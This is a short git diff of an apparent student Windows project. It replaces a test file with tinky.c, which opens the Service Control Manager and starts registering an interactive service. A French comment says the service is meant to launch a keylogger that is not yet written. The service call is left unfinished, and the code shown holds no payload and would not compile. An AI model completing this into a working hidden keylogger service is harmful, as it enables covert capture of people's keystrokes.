diff --git a/Makefile b/Makefile index bbd1a19..72c5935 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,4 @@ -NAME = svc +SERVICE = svc - -$(NAME): - cl /Fe"$(NAME)" main.c Advapi32.lib +$(SERVICE): + cl /Fe"$(SERVICE)" tinky.c Advapi32.lib diff --git a/main.c b/main.c deleted file mode 100644 index 40ee7e6..0000000 --- a/main.c +++ /dev/null @@ -1,12 +0,0 @@ -#include -#include -#include -int main(void){ - SC_HANDLE scHandle = OpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); - if (scHandle == NULL){ - printf("OpenSCManagerA n'a pas fonctiionne. code d'erreur: %d\n", GetLastError()); - return 1; - } - printf("OpenSCManagerA est ouvert\n"); - return 0; -} diff --git a/tinky.c b/tinky.c new file mode 100644 index 0000000..ac3be8a --- /dev/null +++ b/tinky.c @@ -0,0 +1,20 @@ +#include +#include +#include +int main(void){ + SC_HANDLE hSCManager = OpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); + if (hSCManager == NULL){ + printf("OpenSCManagerA n'a pas fonctiionne. code d'erreur: %d\n", GetLastError()); + return 1; + } + printf("OpenSCManagerA est ouvert\n"); + SC_HANDLE hservice = CreateServiceA(hSCManager, + "tinky", + "tinky", + SC_MANAGER_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, + SERVICE_DEMAND_START, + SERVICE_ERROR_IGNORE, + //ICI JE DOIS SPECIFIER LE CHEMIN d'ACCESS DU KEYLOGGER MAIS IL N'EST PAS ENCORE CODER DONC J'ARRETE CE FICHIER ET PASSE DIRECTEMENT C'T'AVANT DERNIER); + return 0; +}